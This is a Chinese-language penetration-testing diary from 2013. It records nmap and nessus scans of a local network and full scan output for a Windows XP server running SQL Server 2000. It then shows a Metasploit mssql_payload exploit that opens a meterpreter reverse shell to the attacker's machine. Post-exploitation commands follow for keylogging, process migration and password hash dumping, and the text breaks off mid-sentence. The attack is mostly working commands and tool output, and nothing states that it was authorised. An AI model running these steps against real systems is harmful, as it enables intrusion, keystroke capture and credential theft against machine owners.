渗透杂记-2013-07-10
- 首先用nmap获取一下在线信息,结果如下
namp -sP 192.168.16.0/24
总共有22个IP地址存活。
- 用nessus进行进一步探测，
我们可以看到除了我自己的系统漏洞最多以外，有192.168.16.68，和192.168.15.254存在高危漏洞。通过进一步对比发现192.168.16.254更有价值，上面跑的有SQL数据库和Dameware mini貌似是一台服务器.
- 用namp获取一下详细信息，截图信息不全，下面是详细信息
Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-11 02:52 CST NSE: Loaded 106 scripts for scanning. NSE: Script Pre-scanning. Initiating ARP Ping Scan at 02:52 Scanning 192.168.16.254 [1 port] Completed ARP Ping Scan at 02:52, 0.12s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 02:52 Completed Parallel DNS resolution of 1 host. at 02:52, 0.01s elapsed Initiating SYN Stealth Scan at 02:52 Scanning 192.168.16.254 [1000 ports] Discovered open port 139/tcp on 192.168.16.254 Discovered open port 445/tcp on 192.168.16.254 Discovered open port 135/tcp on 192.168.16.254 Discovered open port 1433/tcp on 192.168.16.254 Discovered open port 6129/tcp on 192.168.16.254 Completed SYN Stealth Scan at 02:52, 1.15s elapsed (1000 total ports) Initiating Service scan at 02:52 Scanning 5 services on 192.168.16.254 Completed Service scan at 02:52, 11.02s elapsed (5 services on 1 host) Initiating OS detection (try #1) against 192.168.16.254 NSE: Script scanning 192.168.16.254. Initiating NSE at 02:52 Completed NSE at 02:52, 0.12s elapsed Nmap scan report for 192.168.16.254 Host is up (0.0010s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2000 8.00.2039.00; SP4 6129/tcp open damewaremr DameWare Mini Remote Control MAC Address: 00:E0:62:1B:4C:BD (Host Engineering) Device type: general purpose Running: Microsoft Windows XP|2003 OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003 OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003 Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | ms-sql-info: | Windows server name: SERVER | [192.168.16.254\MSSQLSERVER] | Instance name: MSSQLSERVER | Version: Microsoft SQL Server 2000 SP4 | Version number: 8.00.2039.00 | Product: Microsoft SQL Server 2000 | Service pack level: SP4 | Post-SP patches applied: No | TCP port: 1433 | Named pipe: \\192.168.16.254\pipe\sql\query |_ Clustered: No | nbstat: | NetBIOS name: SERVER, NetBIOS user: <unknown>, NetBIOS MAC: 00:e0:62:1b:4c:bd (Host Engineering) | Names | SERVER<00> Flags: <unique><active> | SERVER<20> Flags: <unique><active> |_ WORKGROUP<00> Flags: <group><active> | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: Server | NetBIOS computer name: SERVER | Workgroup: WORKGROUP |_ System time: 2013-07-10T18:52:29+08:00 | smb-security-mode: | Account that was used for smb scripts: guest | User-level authentication | SMB Security: Challenge/response passwords supported |_ Message signing disabled (dangerous, but default) |_smbv2-enabled: Server doesn't support SMBv2 protocol TRACEROUTE HOP RTT ADDRESS 1 1.03 ms 192.168.16.254 NSE: Script Post-scanning. Read data files from: /usr/local/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds Raw packets sent: 1082 (48.306KB) | Rcvd: 1017 (41.242KB)
- 在metasploit查了一下漏洞利用信息，貌似是一个很老的漏洞了。
5.从namp的详细信息来看，254上存在DameWare Mini Remote Control，装了一个软件连接一下果然能够连上，但是没有系统密码。
6.最后msfpro
[*] Starting Metasploit Console...
[-] WARNING! The following modules could not be loaded!
[-] /opt/metasploit/apps/pro/msf3/modules/exploits/freebsd/local/mmap.rb: NameError uninitialized constant Msf::Post::Common
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| METASPLOIT CYBER MISSILE COMMAND V4 |
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#### __ __ __ ####### __ __ __ ####
#### / \ / \ / \ ########### / \ / \ / \ ####
################################################################################
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# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
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http://metasploit.pro
=[ metasploit v4.6.2-1 [core:4.6 api:1.0]
+ -- --=[ 1134 exploits - 715 auxiliary - 194 post
+ -- --=[ 309 payloads - 30 encoders - 8 nops
[*] Successfully loaded plugin: pro
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 192.168.16.83
LHOST => 192.168.16.83
msf exploit(mssql_payload) > set RHOST 192.168.16.254
RHOST => 192.168.16.254
msf exploit(mssql_payload) > exploit
[*] Started reverse handler on 192.168.16.83:4444
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当获取到一个meterpreter shell 后可以执行更多的操作：
获取屏幕截图：screenshot
获取系统信息：sysinfo
获取键盘记录：
meterpreter> ps #查看目标机器进程，假设发现explorer.exe 的进程号为1668:
meterpreter> migrate 1668 #插入该进程
meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块，将击键记
录保存到本地txt
cat /root/.msf3/loot/*****.txt #查看结果
获取系统账号密码：
meterpreter> use priv
meterpreter> run post/windows/gather/hashdump
当获取到密码的hash 之后无法破解出明文密码且无法直接使用hash 登陆，需要使用
